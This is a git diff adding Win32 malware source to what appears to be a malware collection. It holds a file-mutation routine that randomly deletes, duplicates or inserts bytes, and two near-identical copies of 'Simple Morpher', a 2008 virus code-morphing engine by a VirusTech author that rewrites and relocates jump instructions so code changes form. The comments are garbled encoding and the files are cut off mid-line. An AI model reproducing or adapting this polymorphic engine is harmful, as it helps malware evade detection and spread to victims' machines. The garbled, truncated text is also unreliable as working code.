change)++ add eax, [map_pointer] ; Add the offset of file memory+ mov [change_byte_offset], eax ; Save the pointer++ call random_number ; Get a random number+ xor ecx, ecx ; ecx=0+ mov cl, [rand_name_buffer] ; cl=random number+ and cl, 7 ; cl=0000 0???+ mov [change_byte_value], cl ; Save the random number++ mov ecx, [file_size] ; eax=filesize+ add ecx, [map_pointer] ; eax=End of file in memory+ sub ecx, [change_byte_offset] ; eax=Bytes after Change_byte_offset++ mov esi, [change_byte_offset] ; esi=Pointer to change byte+ xor eax, eax ; eax=0+ mov al, [change_byte_value] ; eax=number of bytes to change+ add esi, eax ; esi=Pointer to end of changing in memory++ mov edi, [change_byte_offset] ; edi=Offset of changing+ rep movsb++; invoke MessageBox, 0x0, "Delection", "Chromosome Mutation", 0x0+jmp endofmutation++chrom_dublication:+ invoke UnmapViewOfFile, [map_pointer] ; Unmap File, as we need to open it with another size+ invoke CloseHandle, [map_handle] ; Close Map-Handle++ call random_number ; Get a random number+ xor ecx, ecx ; ecx=0+ mov cl, [rand_name_buffer] ; cl=random number+ and cl, 7 ; cl=0000 0???+ mov [change_byte_value], cl ; Save the random number++ add ecx, [file_size] ; ecx=New filesize+ mov [file_size], ecx ; Save new filesize+ invoke CreateFileMapping, [file_handle], 0x0, PAGE_READWRITE, 0x0, [file_size], 0x0+ mov [map_handle], eax++ invoke MapViewOfFile, [map_handle], FILE_MAP_WRITE, 0x0, 0x0, [file_size]+ mov [map_pointer], eax++ chrom_dubl_loop1:+ call random_number ; Renew the random numbers+ xor eax, eax ; eax=0+ mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????+ mov ebx, [file_size] ; ebx=Filesize+ sub ebx, 8 ; ebx-=8+ cmp eax, ebx ; comparee Random number with Filesize+ jg chrom_dubl_loop1 ; If RN>Filesize-8 then get new random number (=place to change)++ add eax, [map_pointer] ; eax=Pointer to changing part+ mov [change_byte_offset], eax ; Save the offset++ mov ecx, [map_pointer] ; ecx=Start of file in memory+ add ecx, [file_size] ; ecx=End of file in memory++ sub ecx, [change_byte_offset] ; ecx=Bytes after change-place+ xor eax, eax ; eax=0+ mov al, [change_byte_value] ; eax=number of bytes to change+ sub ecx, eax ; ecx-=number of bytes to change++ mov esi, [change_byte_offset] ; esi=Offset of changing+ mov edi, [change_byte_offset] ; edi=offset of changing+ add edi, eax ; edi=Offset after changing++ chrom_dubl_buffer: ; Make a buffer+ mov al, [esi+ecx] ; al=Value to Replace+ mov [edi+ecx], al ; Save al+ loop chrom_dubl_buffer++ xor ecx, ecx ; ecx=0+ mov cl, [change_byte_value] ; ecx=lenght of string to dublicate+ mov esi, [change_byte_offset] ; From+ mov edi, [change_byte_offset] ; To+ add edi, ecx ; Offset of buffer+ rep movsb++; invoke MessageBox, 0x0, "Dublication", "Chromosome Mutation", 0x0+jmp endofmutation+++chrom_inseration:+ invoke UnmapViewOfFile, [map_pointer] ; Unmap File, as we need to open it with anothe size+ invoke CloseHandle, [map_handle] ; Close Map-Handle++ call random_number ; Get a random number+ xor ecx, ecx ; ecx=0+ mov cl, [rand_name_buffer] ; cl=random number+ and cl, 7 ; cl=0000 0???+ mov [change_byte_value], cl ; Save the random number++ add ecx, [file_size] ; ecx=New filesize+ mov [file_size], ecx ; Save new filesize+ invoke CreateFileMapping, [file_handle], 0x0, PAGE_READWRITE, 0x0, [file_size], 0x0+ mov [map_handle], eax++ invoke MapViewOfFile, [map_handle], FILE_MAP_WRITE, 0x0, 0x0, [file_size]+ mov [map_pointer], eax++ chrom_inser_loop1:+ call random_number ; Renew the random numbers+ xor eax, eax ; eax=0+ mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????+ mov ebx, [file_size] ; ebx=Filesize+ sub ebx, 8 ; ebx-=8+ cmp eax, ebx ; comparee Random number with Filesize+ jg chrom_inser_loop1 ; If RN>Filesize-8 then get new random number (=place to change)++ add eax, [map_pointer] ; eax=Pointer to changing part+ mov [change_byte_offset], eax ; Save the offset++ mov esi, [change_byte_offset] ; esi=Offset to get the new part+ mov edi, rand_name_buffer ; edi=where to save+ xor ecx, ecx ; ecx=0+ mov cl, [change_byte_value] ; ecx=How many bytes+ rep movsb ; Save the part.++ chrom_inser_loop2:+ call random_number ; Renew the random numbers+ xor eax, eax ; eax=0+ mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????+ mov ebx, [file_size] ; ebx=Filesize+ sub ebx, 8 ; ebx-=8+ cmp eax, ebx ; Compare Random number with Filesize+ jg chrom_inser_loop2 ; If RN>Filesize-8 then get new random number (=place to change)++ add eax, [map_pointer] ; eax=Pointer to changing part+ mov [change_byte_offset], eax ; Save the offset++ mov ecx, [map_pointer] ; ecx=Start of file in memory+ add ecx, [file_size] ; ecx=End of file in memory++ sub ecx, [change_byte_offset] ; ecx=Bytes after change-place+ xor eax, eax ; eax=0+ mov al, [change_byte_value] ; eax=number of bytes to change+ sub ecx, eax ; ecx-=number of bytes to change++ mov esi, [change_byte_offset] ; esi=Offset of changing+ mov edi, [change_byte_offset] ; edi=offset of changing+ add edi, eax ; edi=Offset after changing++ chrom_inser_buffer: ; Make a buffer+ mov al, [esi+ecx] ; al=Value to Replace+ mov [edi+ecx], al ; Save al+ loop chrom_inser_buffer++ mov esi, rand_name_buffer ; esi=source+ mov edi, [change_byte_offset] ; edi=destination+ xor ecx, ecx ; ecx=0+ mov cl, [change_byte_value] ; ecx=length+ rep movsb ; Write saved part to the new place++; invoke MessageBox, 0x0, "Inseration", "Chromosome Mutation", 0x0+jmp endofmutation++.end start\ No newline at end of filediff --git a/Malwares/Win32/win32 Engines/assembly/Virus.Win32.Morpher.a.asm b/Malwares/Win32/win32 Engines/assembly/Virus.Win32.Morpher.a.asmnew file mode 100644index 0000000..7949655--- /dev/null+++ b/Malwares/Win32/win32 Engines/assembly/Virus.Win32.Morpher.a.asm@@ -0,0 +1,510 @@++;::::::::::::::::::::::::::::::::::::::::::::::::::::::+; Simple Morpher v.0.1 :+; :+; x0man � 2008 :+; :+; http://www.virustech.org/ :+;::::::::::::::::::::::::::::::::::::::::::::::::::::::+;-----------------------------------------------------------------------------------------:+; :+;� ������ �������� ��������, ������� � ���� ����������. :+; :+;���� ������ � ������� ��������� ������ � ����������� :+;����� ���������� ������� ��������: :+; :+;_OPCODE struct; :+; dwOldAddress dd ? ; ������ ����� ���������� (�� ��������) :+; dwNewAddress dd ? ; ����� ����� ���������� (����� ��������) :+; dwJumpAddress dd ? ; ����� ���� ������ ��������� ������(��� �����) :+; ; (���� ���������� �� ��������) :+; dwLength dd ? ; � ������ ������� ��� ���������� �� ������������ :+; ; ������� ��� ��� ����������� ������ ��� ��� :) :+;_OPCODE ends :+; :+;� "���" ������ ���� ������ :+; 1. ������� ����, � ��������� �� ������ ���������� ������ :+; ��������� �������, �������� ������ � ��������� _OPCODE. :+; 2. ���������� ���� ��� ������� ��������� (������ �������� ������� �� �������) :+; 3. ���� ���������� �������� ������� ��� �������, ��� ����� :+; ���������� ������ ��� EIP ��� ���������� ����. :+; 4. � ������������ ����������� ���� (����������� NOP) :+; :+;������ ���� :+; 1. ���������� �� ������� � ���������� ���������� :+; 2. ���� ���������� �������� �������, �� ��������� �������� � ������ :+; ��� ������, � ������ ��� �� ����������(��� � ���������� ����). :+; :+; :+;����� �� ��... ��� ����� ������ �������� ������� ���! :+; :+;������������ ����� ���������� � ���� Catchy_32, ������� ����� ������� � :+; http://www.wasm.ru, �� ����� ����������� � ���������� � ����������. :+; :+;GreeTz: :+; Osen :+; izee [ EOF-Project ] http://eof-project.net/ :+; :+; tPORt (http://www.tport.org/) :+; REVENGE(http://www.revenge-crew.com/) :+; TLG (http://tlg.astalavista.ms/) :+; TSRh (http://tsrh.org.ua/) :+; TPOC (http://vx.netlux.org/tpoc/) :+; :+; :+; ������� �� ��������! :+; :+; 10.05.2008 :+; x0man [VirusTech] :+; http://www.virustech.org :+;-----------------------------------------------------------------------------------------:++ .386+ .model flat, stdcall+ option casemap :none++ include \MASM32\INCLUDE\windows.inc+ include \MASM32\INCLUDE\kernel32.inc+ include \MASM32\INCLUDE\user32.inc++ includelib \MASM32\LIB\kernel32.lib+ includelib \MASM32\LIB\user32.lib++; #########################################################################++_OPCODE struct+ dwOldAddress dd ? ; ������ ����� ���������� (�� ��������)+ dwNewAddress dd ? ; ����� ����� ���������� (����� ��������)+ dwJumpAddress dd ? ; ����� ���� ������ ��������� ������(��� �����)+ ; (���� ���������� �� ��������)+ dwLength dd ? ; � ������ ������� ��� ���������� �� ������������+ ; ������� ��� ��� ����������� ������ ��� ��� :)+_OPCODE ends++; #########################################################################++.code++;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::+; ��� ��� ����� :)+;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::+test_code:+ @@:+ jmp @F+ mov eax, edx+ pop eax+ push eax+ call @F+ cmp eax, 0+ jne @B+ jmp @B+ add ecx, edx+ add eax, edx+ xchg edx, ecx+ call @B+ jne @F+ db 0,0,0,0,0,0,0,0,0,0+ db 0,0,0,0,0,0,0,0,0,0+ db 0,0,0,0,0,0,0,0,0,0+ db 0,0,0,0,0,0,0,0,0,0+ db 0,0,0,0,0,0,0,0,0,0+ db 0,0,0,0,0,0,0,0,0,0+ db 0,0,0,0,0,0,0,0,0,0+ db 0,0,0,0,0,0,0,0,0,0+ db 0,0,0,0,0,0,0,0,0,0+ db 0,0,0,0,0,0,0,0,0,0+ db 0,0,0,0,0,0,0,0,0,0+ db 0,0,0,0,0,0,0,0,0,0+ db 0,0,0,0,0,0,0,0,0,0+ db 0,0,0,0,0,0,0,0,0,0+ db 0,0,0,0,0,0,0,0,0,0+ jne @B+ ret+ @@:+ ret+ int 3+;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::+;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::+;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::+++++;::::::::::::::::::::::::::::::::::+; ��������� ������ ����� ����������+include Catchy32\Catchy32.inc++++;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::|+; ������� ��� �������� �����, ���� ������ ��������� ������|+; ������: dwCurrentAddress - ��������� �� ��� |+; |+; 00000000: 74 30 JE imm8 |+; ��� ������� ����������� "imm8" |+; � ����� ������� imm8 = 00000000 + 30 + 2 = 00000032 |+; �.�. |+; 00000000 - ������� ����� |+; 30 - �������� |+; 2 - ������ ���������� JE imm8 |+;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::|+; 00000000: 74 30 JE 00000032 --. |+; 00000002: | |+; | |+; 00000032: <-----� |+; ��� �������� ��� "�������������" ������� |+; ��� �������������, ���������� ��������� ���� |+; ��� �� ������ ;-) |+;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::|:::|+; IN dwCurrentAddress : ������� ����� ��������������� ������ |+; OUT EAX : ����� ���� ������ ��������� |+;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|+get_jump_address proc dwCurrentAddress : DWORD++ push ecx+ push edi++ mov edi, dwCurrentAddress+ mov al, byte ptr [edi]++ ;:::::::::::::::::::::::::::::::::::::+ ; XX imm8+ cmp al, 070h+ jl @F+ cmp al, 07Fh+ jna @_jump_imm8_++@@:+ ;:::::::::::::::::::::::::::::::::::::+ cmp al, 0EBh+ je @_jump_uncond_imm8_+ ;:::::::::::::::::::::::::::::::::::::+ ; 0F XX imm32+ cmp al, 00Fh+ jne @F+ mov ah, byte ptr [edi + 1]+ cmp ah, 080h+ jl @F+ cmp ah, 08Fh+ jna @_jump_imm32_+ ;:::::::::::::::::::::::::::::::::::::++@@:+ ;:::::::::::::::::::::::::::::::::::::+ ; JMP imm32+ cmp al, 0E9h+ je @_jump_uncond_imm32_+++ ;:::::::::::::::::::::::::::::::::::::+ ; CALL+ cmp al, 0E8h+ je @_call_imm32_+++ ;:::::::::::::::::::::::::::::::::::::+ jmp @_exit_+ ;:::::::::::::::::::::::::::::::::::::++@_jump_imm8_:+@_jump_uncond_imm8_:+ ;:::::::::::::::::::::::::::::::::::::+ ; �������� ������+ movzx eax, byte ptr [edi + 1]+ mov cl, al+ test cl, 10000000b ; isNegative?++ jnz @_neg_1+ add edi, eax+ add edi, 2+ xchg eax, edi+ jmp @_exit_++ @_neg_1:+ neg al+ sub al, 2+ sub edi, eax+ xchg eax, edi+ jmp @_exit_+++@_jump_imm32_:+ ;:::::::::::::::::::::::::::::::::::::+ ; ������� ������+ mov eax, dword ptr [edi + 2]+ mov ecx, eax+ shr ecx, 24d+ test ecx, 10000000b ; isNegative?++ jnz @_neg_2+ add eax, edi+ add eax, 6+ jmp @_exit_++ @_neg_2:+ neg eax+ sub eax, 6+ sub edi, eax+ xchg eax, edi+ jmp @_exit_+ ;:::::::::::::::::::::::::::::::::::::++++@_jump_uncond_imm32_:+@_call_imm32_:+ ;:::::::::::::::::::::::::::::::::::::+ ; JMP imm32 & CALL imm32+ mov eax, dword ptr [edi + 1]+ mov ecx, eax+ shr ecx, 24d+ test ecx, 10000000b ; isNegative?++ jnz @_neg_3+ add edi, eax+ add edi, 5+ xchg eax, edi+ jmp @_exit_++ @_neg_3:+ neg eax+ sub eax, 5+ sub edi, eax+ xchg eax, edi+ ;///////////////////////////////////////+@_exit_:++ pop edi+ pop ecx++ ret+get_jump_address endp+++;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|+; ������� ��� ������ � ������� �������� ���������� |+; ������ ������ ��� ������.... |+; |+; IN dwAddress - ����� ������ |+; IN pOpcodes - ��������� �� ������ � ���������� ������� |+; OUT EAX - ����� ����� ������... |+;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|+get_new_jump_address proc dwAddress:DWORD, pOpcodes : DWORD+ push ecx++ assume ecx : ptr _OPCODE+ mov ecx, pOpcodes+ mov eax, dwAddress++ @@:+ cmp [ecx].dwOldAddress, eax+ je @F+ add ecx, sizeof _OPCODE+ cmp [ecx].dwOldAddress, 0+ jne @B+ xor eax, eax+ @@:+ mov eax, [ecx].dwNewAddress++ pop ecx+ ret+get_new_jump_address endp+++;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|+; ������� ���������� ����������� ���, ����������� NOP |+; �����! ��� ������ ������������� ������� 0CCh |+;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|+; IN dwCodeAddress - ����� ���� ��� �������� |+; IN dwOutputBuffer - ����� ���� ����� ������ ������������� ��� |+; OUT EAX - ������ �������������� ���� |+;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|+MorphCode proc dwCodeAddress : DWORD, dwOutputBuffer : DWORD+local pOpcodes : DWORD+local dwTotalCodeSize : DWORD++ ;::::::::::::::::::::::::::::::::::::::::::::::::::+ ; pOpcodes - ��������� �� �������� ������� ::+ ; dwOutputBuffer - ������������� ��� ::+ ;::::::::::::::::::::::::::::::::::::::::::::::::::++ ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::+ ; ������������� ������ ��� ������� � ��������� ����������+ invoke VirtualAlloc, NULL, 1024*1024, MEM_COMMIT + MEM_RESERVE, PAGE_READWRITE+ mov pOpcodes, eax++ ;::::::::::::::::::::::::::::::::::::::::::::+ ; ������� ���������� � ������� ����� ��������+ ; ����� ������ ����+ push 0+ pop dwTotalCodeSize++ ;:::::::::::::::::::::::::::::::::::::::::+ ; ��� ������������+ assume ecx : ptr _OPCODE+ mov esi, dwCodeAddress ; Code Address+ mov edi, dwOutputBuffer ; New Code Address+ mov ecx, pOpcodes ; array of _OPCODES+ ;::::::::::::::::::::::::::::::::::::::::++++;::::::::::::::::::::::::::::::::::::::::+; ������ ���� :::::::::::::::::::::::::::+;::::::::::::::::::::::::::::::::::::::::++ ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::+ ; ������ ��� ������ ���������� � ����� ����� ��� � EDI+ mov [ecx].dwNewAddress, edi++ ;::::::::::::::::::::::::::::::::::::+ ; �������� ����+ ; Loop 1+ @_loop_1:++ ;::::::::::::::::::::::::::::::::::::+ ; ������ ������ � ����������+ ; IN ESI == Current Code Offset+ ; OUT EAX == Instruction Length+ call c_Catchy++ ;:::::::::::::::::::::::::::::::::::::+ ; ������ ������ � ������ � ����������+ mov [ecx].dwOldAddress, esi+ mov [ecx].dwLength, eax++ ;::::::::::::::::::::::::::::::::::::+ ; �������� �������� ������ ������ �� �������+ ; ��� ���������� �� ������� ��������� 00Fh+ ; � ������ � +10h � �������� ������ ������+ ; ������:+ ; ���� :00000000: 74 30+ ; 0F +10 30 00 00 00+ ; �����:00000000: 0F 84 30 00 00 00+ cmp byte ptr [esi], 070h+ jl @F+ cmp byte ptr [esi], 07Fh+ ja @F+ push eax+ mov al, 00Fh+ stosb++ movzx eax, byte ptr [esi]+ add eax, 10h+ stosd++ ;:::::::::::::::::::::::::::::::::::::::+ ; ���������� ����� ���� ��������� ������+ push esi+ call get_jump_address++ ;::::::::::::::::::::::::+ ; ������ ������ � ������+ mov [ecx].dwJumpAddress, eax++ pop eax++ ;::::::::::::::::::::::::::::::::::::+ ; �������� � ������ ������� ����+ ; ������ 00Fh XXh imm32, �.�. ����� 6+ ; ��� XX � [80h..8Fh]+ add dwTotalCodeSize, 6+ ;::::::::::::::::::::::::::::::::::::+ ; ��������� ������� ���������� ������+ ; ��������� � ��������� ����������+ jmp @_next_inst_++ @@:+ ;::::::::::::::::::::::::::::::::::::+ ; ������...+ ; JMP imm8 -> JMP imm32+ ; ������+ ; ���� : 00000000: EB 33+ ; �����: 00000000: E9 33 00 00 00+ cmp byte ptr [esi], 0EBh+ jne @F+ push eax++ mov al, 0E9h+ stosb+ xor eax, eax+ stosd++ ;:::::::::::::::::::::::::::::::::::::::+ ; ���������� ����� ���� ��������� ������+ push esi+ call get_jump_address++ ;::::::::::::::::::::::::+ ; ������ ������ � ������+ mov [ecx].dwJumpAddress, eax++ pop eax+ ;:::::::::::::::::::::::::::::::+ ; �������� � ������ ������� ����+ ; ������ E9 imm32, �.�. ����� 5+ add dwTotalCodeSize, 5+ jmp @_next_inst_+ ;::::::::::::::::::::::::::::::::::::+++ @@:+ ;::::::::::::::::::::::::::::::::::::+ ; �������� �� JMP imm32+ cmp byte ptr [esi], 0E9h+ jne @F++ push eax+ push esi+ call get_jump_address+ mov [ecx].dwJumpAddress, eax+ pop eax+ jmp @_replace_instr_+ ;::::::::::::::::::::::::::::::::::::++ @@:+ ;::::::::::::::::::::::::::::::::::::+ ; �������� �� CALL+ cmp byte ptr [esi], 0E8h+ jne @F++ push eax+ push esi+ call get_jump_address+ mov [ecx].dwJumpAddress, eax+ pop eax+ jmp @_replace_instr_+ ;::::::::::::::::::::::::::::::::::::+++ @@:+ ;::::::::::::::::::::::::::::::::::::+ ; 00Fh XX imm32+ cmp byte ptr [esi], 00Fh+ jne @F+ cmp byte ptr [esi + 1], 080h+ jl @F+ cmp byte ptr [esi + 1], 08Fh+ ja @F+ push eax+ push esi+ call get_jump_address+ mov [ecx].dwJumpAddress, eax+ pop eax+ ;::::::::::::::::::::::::::::::::::::++ @@:++@_replace_instr_:+ ;::::::::::::::::::::::::::::::::::::::::::+ ; ��������� ���������� � ����� ������.+ ; ���� ��� ����������� � ��� ������+ ; ���� �� �� ������ ������������ ����������+ push esi+ push ecx++ mov ecx, eax+ rep movsb++ pop ecx+ pop e\ No newline at end of filediff --git a/Malwares/Win32/win32 Engines/assembly/Virus.Win32.Morpher.b.asm b/Malwares/Win32/win32 Engines/assembly/Virus.Win32.Morpher.b.asmnew file mode 100644index 0000000..2cbab0b--- /dev/null+++ b/Malwares/Win32/win32 Engines/assembly/Virus.Win32.Morpher.b.asm@@ -0,0 +1,758 @@++;::::::::::::::::::::::::::::::::::::::::::::::::::::::+; Simple Morpher v.0.1 :+; :+; x0man � 2008 :+; :+; http://www.virustech.org/ :+;::::::::::::::::::::::::::::::::::::::::::::::::::::::+;-----------------------------------------------------------------------------------------:+; :+;� ������ �������� ��������, ������� � ���� ����������. :+; :+;���� ������ � ������� ��������� ������ � ����������� :+;����� ���������� ������� ��������: :+; :+;_OPCODE struct; :+; dwOldAddress dd ? ; ������ ����� ���������� (�� ��������) :+; dwNewAddress dd ? ; ����� ����� ���������� (����� ��������) :+; dwJumpAddress dd ? ; ����� ���� ������ ��������� ������(��� �����) :+; ; (���� ���������� �� ��������) :+; dwLength dd ? ; � ������ ������� ��� ���������� �� ������������ :+; ; ������� ��� ��� ����������� ������ ��� ��� :) :+;_OPCODE ends :+; :+;� "���" ������ ���� ������ :+; 1. ������� ����, � ��������� �� ������ ���������� ������ :+; ��������� �������, �������� ������ � ��������� _OPCODE. :+; 2. ���������� ���� ��� ������� ��������� (������ �������� ������� �� �������) :+; 3. ���� ���������� �������� ������� ��� �������, ��� ����� :+; ���������� ������ ��� EIP ��� ���������� ����. :+; 4. � ������������ ����������� ���� (����������� NOP) :+; :+;������ ���� :+; 1. ���������� �� ������� � ���������� ���������� :+; 2. ���� ���������� �������� �������, �� ��������� �������� � ������ :+; ��� ������, � ������ ��� �� ����������(��� � ���������� ����). :+; :+; :+;����� �� ��... ��� ����� ������ �������� ������� ���! :+; :+;������������ ����� ���������� � ���� Catchy_32, ������� ����� ������� � :+; http://www.wasm.ru, �� ����� ����������� � ���������� � ����������. :+; :+;GreeTz: :+; Osen :+; izee [ EOF-Project ] http://eof-project.net/ :+; :+; tPORt (http://www.tport.org/) :+; REVENGE(http://www.revenge-crew.com/) :+; TLG (http://tlg.astalavista.ms/) :+; TSRh (http://tsrh.org.ua/) :+; TPOC (http://vx.netlux.org/tpoc/) :+; :+; :+; ������� �� ��������! :+; :+; 10.05.2008 :+; x0man [VirusTech] :+; http://www.virustech.org :+;-----------------------------------------------------------------------------------------:++ .386+ .model flat, stdcall+ option casemap :none++ include \MASM32\INCLUDE\windows.inc+ include \MASM32\INCLUDE\kernel32.inc+ include \MASM32\INCLUDE\user32.inc++ includelib \MASM32\LIB\kernel32.lib+ includelib \MASM32\LIB\user32.lib++; #########################################################################++_OPCODE struct+ dwOldAddress dd ? ; ������ ����� ���������� (�� ��������)+ dwNewAddress dd ? ; ����� ����� ���������� (����� ��������)+ dwJumpAddress dd ? ; ����� ���� ������ ��������� ������(��� �����)+ ; (���� ���������� �� ��������)+ dwLength dd ? ; � ������ ������� ��� ���������� �� ������������+ ; ������� ��� ��� ����������� ������ ��� ��� :)+_OPCODE ends++; #########################################################################++.code++;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::+; ��� ��� ����� :)+;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::+test_code:+ @@:+ jmp @F+ mov eax, edx+ pop eax+ push eax+ call @F+ cmp eax, 0+ jne @B+ jmp @B+ add ecx, edx+ add eax, edx+ xchg edx, ecx+ call @B+ jne @F+ db 0,0,0,0,0,0,0,0,0,0+ db 0,0,0,0,0,0,0,0,0,0+ db 0,0,0,0,0,0,0,0,0,0+ db 0,0,0,0,0,0,0,0,0,0+ db 0,0,0,0,0,0,0,0,0,0+ db 0,0,0,0,0,0,0,0,0,0+ db 0,0,0,0,0,0,0,0,0,0+ db 0,0,0,0,0,0,0,0,0,0+ db 0,0,0,0,0,0,0,0,0,0+ db 0,0,0,0,0,0,0,0,0,0+ db 0,0,0,0,0,0,0,0,0,0+ db 0,0,0,0,0,0,0,0,0,0+ db 0,0,0,0,0,0,0,0,0,0+ db 0,0,0,0,0,0,0,0,0,0+ db 0,0,0,0,0,0,0,0,0,0+ jne @B+ ret+ @@:+ ret+ int 3+;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::+;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::+;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::+++++;::::::::::::::::::::::::::::::::::+; ��������� ������ ����� ����������+include Catchy32\Catchy32.inc++++;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::|+; ������� ��� �������� �����, ���� ������ ��������� ������|+; ������: dwCurrentAddress - ��������� �� ��� |+; |+; 00000000: 74 30 JE imm8 |+; ��� ������� ����������� "imm8" |+; � ����� ������� imm8 = 00000000 + 30 + 2 = 00000032 |+; �.�. |+; 00000000 - ������� ����� |+; 30 - �������� |+; 2 - ������ ���������� JE imm8 |+;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::|+; 00000000: 74 30 JE 00000032 --. |+; 00000002: | |+; | |+; 00000032: <-----� |+; ��� �������� ��� "�������������" ������� |+; ��� �������������, ���������� ��������� ���� |+; ��� �� ������ ;-) |+;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::|:::|+; IN dwCurrentAddress : ������� ����� ��������������� ������ |+; OUT EAX : ����� ���� ������ ��������� |+;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|+get_jump_address proc dwCurrentAddress : DWORD++ push ecx+ push edi++ mov edi, dwCurrentAddress+ mov al, byte ptr [edi]++ ;:::::::::::::::::::::::::::::::::::::+ ; XX imm8+ cmp al, 070h+ jl @F+ cmp al, 07Fh+ jna @_jump_imm8_++@@:+ ;:::::::::::::::::::::::::::::::::::::+ cmp al, 0EBh+ je @_jump_uncond_imm8_+ ;:::::::::::::::::::::::::::::::::::::+ ; 0F XX imm32+ cmp al, 00Fh+ jne @F+ mov ah, byte ptr [edi + 1]+ cmp ah, 080h+ jl @F+ cmp ah, 08Fh+ jna @_jump_imm32_+ ;:::::::::::::::::::::::::::::::::::::++@@:+ ;:::::::::::::::::::::::::::::::::::::+ ; JMP imm32+ cmp al, 0E9h+ je @_jump_uncond_imm32_+++ ;:::::::::::::::::::::::::::::::::::::+ ; CALL+ cmp al, 0E8h+ je @_call_imm32_+++ ;:::::::::::::::::::::::::::::::::::::+ jmp @_exit_+ ;:::::::::::::::::::::::::::::::::::::++@_jump_imm8_:+@_jump_uncond_imm8_:+ ;:::::::::::::::::::::::::::::::::::::+ ; �������� ������+ movzx eax, byte ptr [edi + 1]+ mov cl, al+ test cl, 10000000b ; isNegative?++ jnz @_neg_1+ add edi, eax+ add edi, 2+ xchg eax, edi+ jmp @_exit_++ @_neg_1:+ neg al+ sub al, 2+ sub edi, eax+ xchg eax, edi+ jmp @_exit_+++@_jump_imm32_:+ ;:::::::::::::::::::::::::::::::::::::+ ; ������� ������+ mov eax, dword ptr [edi + 2]+ mov ecx, eax+ shr ecx, 24d+ test ecx, 10000000b ; isNegative?++ jnz @_neg_2+ add eax, edi+ add eax, 6+ jmp @_exit_++ @_neg_2:+ neg eax+ sub eax, 6+ sub edi, eax+ xchg eax, edi+ jmp @_exit_+ ;:::::::::::::::::::::::::::::::::::::++++@_jump_uncond_imm32_:+@_call_imm32_:+ ;:::::::::::::::::::::::::::::::::::::+ ; JMP imm32 & CALL imm32+ mov eax, dword ptr [edi + 1]+ mov ecx, eax+ shr ecx, 24d+ test ecx, 10000000b ; isNegative?++ jnz @_neg_3+ add edi, eax+ add edi, 5+ xchg eax, edi+ jmp @_exit_++ @_neg_3:+ neg eax+ sub eax, 5+ sub edi, eax+ xchg eax, edi+ ;///////////////////////////////////////+@_exit_:++ pop edi+ pop ecx++ ret+get_jump_address endp+++;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|+; ������� ��� ������ � ������� �������� ���������� |+; ������ ������ ��� ������.... |+; |+; IN dwAddress - ����� ������ |+; IN pOpcodes - ��������� �� ������ � ���������� ������� |+; OUT EAX - ����� ����� ������... |+;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|+get_new_jump_address proc dwAddress:DWORD, pOpcodes : DWORD+ push ecx++ assume ecx : ptr _OPCODE+ mov ecx, pOpcodes+ mov eax, dwAddress++ @@:+ cmp [ecx].dwOldAddress, eax+ je @F+ add ecx, sizeof _OPCODE+ cmp [ecx].dwOldAddress, 0+ jne @B+ xor eax, eax+ @@:+ mov eax, [ecx].dwNewAddress++ pop ecx+ ret+get_new_jump_address endp+++;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|+; ������� ���������� ����������� ���, ����������� NOP |+; �����! ��� ������ ������������� ������� 0CCh |+;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|+; IN dwCodeAddress - ����� ���� ��� �������� |+; IN dwOutputBuffer - ����� ���� ����� ������ ������������� ��� |+; OUT EAX - ������ �������������� ���� |+;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|+MorphCode proc dwCodeAddress : DWORD, dwOutputBuffer : DWORD+local pOpcodes : DWORD+local dwTotalCodeSize : DWORD++ ;::::::::::::::::::::::::::::::::::::::::::::::::::+ ; pOpcodes - ��������� �� �������� ������� ::+ ; dwOutputBuffer - ������������� ��� ::+ ;::::::::::::::::::::::::::::::::::::::::::::::::::++ ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::+ ; ������������� ������ ��� ������� � ��������� ����������+ invoke VirtualAlloc, NULL, 1024*1024, MEM_COMMIT + MEM_RESERVE, PAGE_READWRITE+ mov pOpcodes, eax++ ;::::::::::::::::::::::::::::::::::::::::::::+ ; ������� ���������� � ������� ����� ��������+ ; ����� ������ ����+ push 0+ pop dwTotalCodeSize++ ;:::::::::::::::::::::::::::::::::::::::::+ ; ��� ������������+ assume ecx : ptr _OPCODE+ mov esi, dwCodeAddress ; Code Address+ mov edi, dwOutputBuffer ; New Code Address+ mov ecx, pOpcodes ; array of _OPCODES+ ;::::::::::::::::::::::::::::::::::::::::++++;::::::::::::::::::::::::::::::::::::::::+; ������ ���� :::::::::::::::::::::::::::+;::::::::::::::::::::::::::::::::::::::::++ ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::+ ; ������ ��� ������ ���������� � ����� ����� ��� � EDI+ mov [ecx].dwNewAddress, 